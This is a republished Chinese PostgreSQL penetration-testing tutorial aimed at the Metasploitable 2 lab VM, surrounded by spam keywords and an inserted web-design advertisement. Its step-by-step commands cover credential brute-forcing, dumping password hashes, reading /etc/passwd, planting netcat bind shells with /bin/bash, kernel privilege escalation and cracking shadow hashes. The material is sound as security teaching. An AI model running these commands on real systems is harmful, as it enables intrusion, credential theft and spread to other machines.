日本综合一区二区|亚洲中文天堂综合|日韩欧美自拍一区|男女精品天堂一区|欧美自拍第6页亚洲成人精品一区|亚洲黄色天堂一区二区成人|超碰91偷拍第一页|日韩av夜夜嗨中文字幕|久久蜜综合视频官网|精美人妻一区二区三区

RELATEED CONSULTING
相關(guān)咨詢(xún)
選擇下列產(chǎn)品馬上在線(xiàn)溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問(wèn)題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷(xiāo)解決方案
PostgreSQL滲透測(cè)試指南

一、前言

創(chuàng)新互聯(lián)專(zhuān)注于企業(yè)成都營(yíng)銷(xiāo)網(wǎng)站建設(shè)、網(wǎng)站重做改版、鳳山網(wǎng)站定制設(shè)計(jì)、自適應(yīng)品牌網(wǎng)站建設(shè)、H5開(kāi)發(fā)商城建設(shè)、集團(tuán)公司官網(wǎng)建設(shè)、成都外貿(mào)網(wǎng)站建設(shè)公司、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁(yè)設(shè)計(jì)等建站業(yè)務(wù),價(jià)格優(yōu)惠性?xún)r(jià)比高,為鳳山等各大城市提供網(wǎng)站開(kāi)發(fā)制作服務(wù)。

PostgreSQL是一個(gè)開(kāi)源數(shù)據(jù)庫(kù),主要部署于Linux操作系統(tǒng)中。然而,PostgreSQL的兼容性非常好,可以兼容多個(gè)操作系統(tǒng),也能在Windows及MacOS操作系統(tǒng)上運(yùn)行。如果PostgreSQL數(shù)據(jù)庫(kù)沒(méi)有被正確配置,并且攻擊者已經(jīng)事先獲取了憑證信息,那么他們就可以實(shí)施各類(lèi)攻擊行為,比如讀寫(xiě)系統(tǒng)文件以及執(zhí)行任意代碼等。

我之所以寫(xiě)這篇文章,目的在于為滲透測(cè)試人員提供測(cè)試PostgreSQL數(shù)據(jù)庫(kù)的具體方法。文章中用來(lái)演示的目標(biāo)系統(tǒng)是Metasploitable 2,因?yàn)樵撓到y(tǒng)包含許多漏洞,也存在配置不當(dāng)問(wèn)題。

二、服務(wù)探測(cè)及版本識(shí)別

PostgreSQL數(shù)據(jù)庫(kù)的默認(rèn)監(jiān)聽(tīng)端口為5432。在端口掃描過(guò)程中,如果發(fā)現(xiàn)該端口開(kāi)放,那么目標(biāo)主機(jī)很有可能安裝了PostgreSQL。

 
 
 
 
  1. nmap -sV 192.168.100.11 -p 5432

圖1. PostgreSQL:通過(guò)Nmap判斷數(shù)據(jù)庫(kù)版本

此外,Metasploit平臺(tái)中也有一個(gè)模塊可以用來(lái)識(shí)別PostgreSQL數(shù)據(jù)庫(kù)以及具體的版本:

auxiliary/scanner/postgres/postgres_version

圖2. PostgreSQL:通過(guò)Metasploit識(shí)別數(shù)據(jù)庫(kù)版本

三、探測(cè)數(shù)據(jù)庫(kù)憑證

在共享文件夾中發(fā)現(xiàn)包含數(shù)據(jù)庫(kù)用戶(hù)名及密碼的配置文件并不稀奇,然而,如果目標(biāo)沒(méi)有犯下如此低級(jí)的失誤,那么我們可以使用一個(gè)Metasploit模塊暴力破解數(shù)據(jù)庫(kù)憑證,如下圖所示:

 
 
 
 
  1. auxiliary/scanner/postgres/postgres_login

圖3. PostgreSQL:暴力破解數(shù)據(jù)庫(kù)憑證

探測(cè)數(shù)據(jù)庫(kù)憑證是非常關(guān)鍵的一個(gè)步驟,如果沒(méi)有掌握正確的憑證,我們很難突破目標(biāo)主機(jī),因?yàn)榇蠖鄶?shù)攻擊操作都需要訪(fǎng)問(wèn)數(shù)據(jù)庫(kù)。

四、訪(fǎng)問(wèn)數(shù)據(jù)庫(kù)

Kali Linux系統(tǒng)中默認(rèn)包含了psql工具,在已知數(shù)據(jù)庫(kù)用戶(hù)名及密碼的前提下,我們可以使用這個(gè)工具通過(guò)PostgreSQL數(shù)據(jù)的認(rèn)證過(guò)程。命令如下:

 
 
 
 
  1. psql -h 192.168.100.11 -U postgres

圖4. PostgreSQL:訪(fǎng)問(wèn)數(shù)據(jù)庫(kù)

一旦連接上數(shù)據(jù)庫(kù),我們應(yīng)該執(zhí)行如下操作:

1、枚舉已有的數(shù)據(jù)庫(kù)。

2、枚舉數(shù)據(jù)庫(kù)用戶(hù)。

3、枚舉數(shù)據(jù)庫(kù)表。

4、讀取表內(nèi)容。

5、讀取數(shù)據(jù)庫(kù)密碼。

6、導(dǎo)出數(shù)據(jù)庫(kù)內(nèi)容。

我們可以使用如下命令完成上述任務(wù):

 
 
 
 
  1. postgres-# \l
  2. postgres-# \du
  3. template1=# \dt
  4. template1=# SELECT * FROM users;
  5. postgres-# SELECT usename, passwd FROM pg_shadow;
  6. pg_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump

圖5. PostgreSQL:枚舉已有的數(shù)據(jù)庫(kù)

圖6. PostgreSQL:枚舉數(shù)據(jù)庫(kù)用戶(hù)

圖7. PostgreSQL:枚舉已有表

圖8. PostgreSQL:讀取表內(nèi)容

圖9. PostgreSQL:讀取數(shù)據(jù)庫(kù)密碼

圖10. PostgreSQL:導(dǎo)出數(shù)據(jù)庫(kù)內(nèi)容

我們也可以使用Metasploit完成上述部分任務(wù)。命令如下:

 
 
 
 
  1. auxiliary/admin/postgres/postgres_sql
  2. auxiliary/scanner/postgres/postgres_hashdump 

圖11. PostgreSQL:使用Metasploit枚舉數(shù)據(jù)庫(kù)

圖12. 使用Metasploit讀取Postgres服務(wù)器哈希

圖13. 使用Metasploit執(zhí)行PostgreSQL命令

五、命令執(zhí)行

PostgreSQL數(shù)據(jù)庫(kù)能夠與底層系統(tǒng)交互,這樣數(shù)據(jù)庫(kù)管理員就能執(zhí)行各種數(shù)據(jù)庫(kù)命令,同時(shí)也能從系統(tǒng)中讀取輸出結(jié)果。

 
 
 
 
  1. postgres=# select pg_ls_dir('./');

圖14. PostgreSQL:讀取系統(tǒng)目錄結(jié)構(gòu)

執(zhí)行如下命令,我們就能讀取服務(wù)端的postgres文件。

 
 
 
 
  1. postgres=# select pg_read_file('PG_VERSION', 0, 200);

圖15. PostgreSQL:讀取服務(wù)端文件

我們也可以創(chuàng)建一個(gè)數(shù)據(jù)表,以便存儲(chǔ)及查看目標(biāo)主機(jī)中已有的某個(gè)文件。命令如下:

 
 
 
 
  1. postgres-# CREATE TABLE temp(t TEXT);
  2. postgres-# COPY temp FROM '/etc/passwd';
  3. postgres-# SELECT * FROM temp limit 1 offset 0; 

圖16. PostgreSQL:讀取本地文件

Metasploit框架中有個(gè)模塊,可以自動(dòng)化讀取本地文件,命令如下:

 
 
 
 
  1. auxiliary/admin/postgres/postgres_readfile

圖17. PostgreSQL:通過(guò)Metasploit讀取本地文件

除了讀取文件內(nèi)容外,我們也可以使用PostgreSQL往目標(biāo)主機(jī)中寫(xiě)入文件,比如我們可以寫(xiě)入bash文件,用來(lái)監(jiān)聽(tīng)某個(gè)隨機(jī)端口:

 
 
 
 
  1. postgres=# CREATE TABLE pentestlab (t TEXT);
  2. postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
  3. postgres=# SELECT * FROM pentestlab;
  4. postgres=# COPY pentestlab(t) TO '/tmp/pentestlab'; 

圖18. PostgreSQL:將文件寫(xiě)入目標(biāo)主機(jī)

當(dāng)然我們需要賦予該文件可執(zhí)行權(quán)限:

 
 
 
 
  1. chmod +x pentestlab
  2. ./pentestlab

圖19. 啟動(dòng)本地監(jiān)聽(tīng)器

使用Netcat成功建立連接:

 
 
 
 
  1. nc -vn 192.168.100.11 2346
  2. python -c "import pty;pty.spawn('/bin/bash')"

圖20. PostgreSQL:連接到后門(mén)

如果postgres服務(wù)賬戶(hù)具備/tmp目錄的寫(xiě)入權(quán)限,那么我們可以通過(guò)用戶(hù)自定義函數(shù)(UDF,user defined functions)實(shí)現(xiàn)任意代碼執(zhí)行。

 
 
 
 
  1. exploit/linux/postgres/postgres_payload

圖21. PostgreSQL:代碼執(zhí)行

六、權(quán)限提升

如果我們通過(guò)已獲取的數(shù)據(jù)庫(kù)憑證或其他方法獲得對(duì)目標(biāo)主機(jī)的訪(fǎng)問(wèn)權(quán)限,那么接下來(lái)我們應(yīng)當(dāng)嘗試將已有權(quán)限提升至root權(quán)限。當(dāng)然,我們?cè)贚inux系統(tǒng)中可以有各種方法實(shí)現(xiàn)權(quán)限提升,并且這也是比較復(fù)雜的一個(gè)過(guò)程,但為了不偏離本文的主題,我們使用某個(gè)內(nèi)核漏洞完成權(quán)限提升任務(wù)。

盡可能完整地獲取內(nèi)核版本以及操作系統(tǒng)的全部信息有助于我們發(fā)現(xiàn)系統(tǒng)存在哪些漏洞,命令如下:

 
 
 
 
  1. user@metasploitable:/# uname -a
  2. uname -a
  3. Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux 

根據(jù)上述內(nèi)核版本信息,我們可以在exploitdb中搜索對(duì)應(yīng)版本是否存在本地漏洞利用代碼,這也是目前最為簡(jiǎn)單的一種方法。

圖22. 搜索Linux內(nèi)核漏洞利用代碼

我們可以在本地或者遠(yuǎn)程系統(tǒng)中編譯這段利用代碼。

圖23. 編譯漏洞利用程序并獲取netlink的PID信息

這個(gè)漏洞利用程序需要在/tmp目錄中創(chuàng)建一個(gè)run文件。當(dāng)漏洞利用代碼執(zhí)行時(shí)就會(huì)運(yùn)行這個(gè)文件,我們可以通過(guò)該文件監(jiān)聽(tīng)某個(gè)端口。

 
 
 
 
  1. #!/bin/bash
  2. nc -lvvp 2345 -e /bin/bash 

圖24. 在tmp目錄中創(chuàng)建run文件

需要賦予該文件可執(zhí)行權(quán)限。

 
 
 
 
  1. chmod +x /tmp/run

我們可以通過(guò)如下命令,建立與該端口的連接,然后獲得root權(quán)限下的python shell接口。

 
 
 
 
  1. nc -vn 192.168.100.11 2345
  2. python -c "import pty;pty.spawn('/bin/bash')"

圖25. 通過(guò)Netcat與目標(biāo)主機(jī)建立連接

我們可以使用Metasploit平臺(tái)自動(dòng)完成上述過(guò)程。因此當(dāng)我們發(fā)現(xiàn)目標(biāo)主機(jī)存在某個(gè)漏洞時(shí),我們可以嘗試在Metasploit中搜索是否有個(gè)匹配的模塊可以使用:

圖26. 利用Metasploit實(shí)現(xiàn)Linux系統(tǒng)權(quán)限提升

當(dāng)漏洞利用代碼執(zhí)行時(shí),我們可以得到另一個(gè)具備root用戶(hù)權(quán)限的Meterpreter會(huì)話(huà):

圖27. root權(quán)限下的Meterpreter會(huì)話(huà)

即使我們已經(jīng)獲得了root訪(fǎng)問(wèn)權(quán)限,我們最好還是從shadow文件中讀取所有用戶(hù)的密碼哈希,以便后續(xù)破解這些哈希值。通過(guò)這些哈希值,滲透測(cè)試人員可以發(fā)現(xiàn)存在弱口令的賬戶(hù),也很有可能借助其中某些賬戶(hù)訪(fǎng)問(wèn)同一網(wǎng)絡(luò)中的其他系統(tǒng)。

圖28. 檢查Shadow文件

我們可以將密碼哈希值保存到一個(gè)文本文件中,然后使用John the Ripper工具破解這些哈希:

 
 
 
 
  1. john /root/Desktop/password.txt
  2. john --show /root/Desktop/password.txt

圖29. 被破解的哈希值

上述命令可以顯示已被成功破解的密碼哈希值。

現(xiàn)在,這個(gè)Linux系統(tǒng)中的所有賬戶(hù)已被我們破解,我們可以使用這些賬戶(hù)訪(fǎng)問(wèn)其他系統(tǒng)。


網(wǎng)站題目:PostgreSQL滲透測(cè)試指南
當(dāng)前鏈接:http://www.dlmjj.cn/article/dhcdpig.html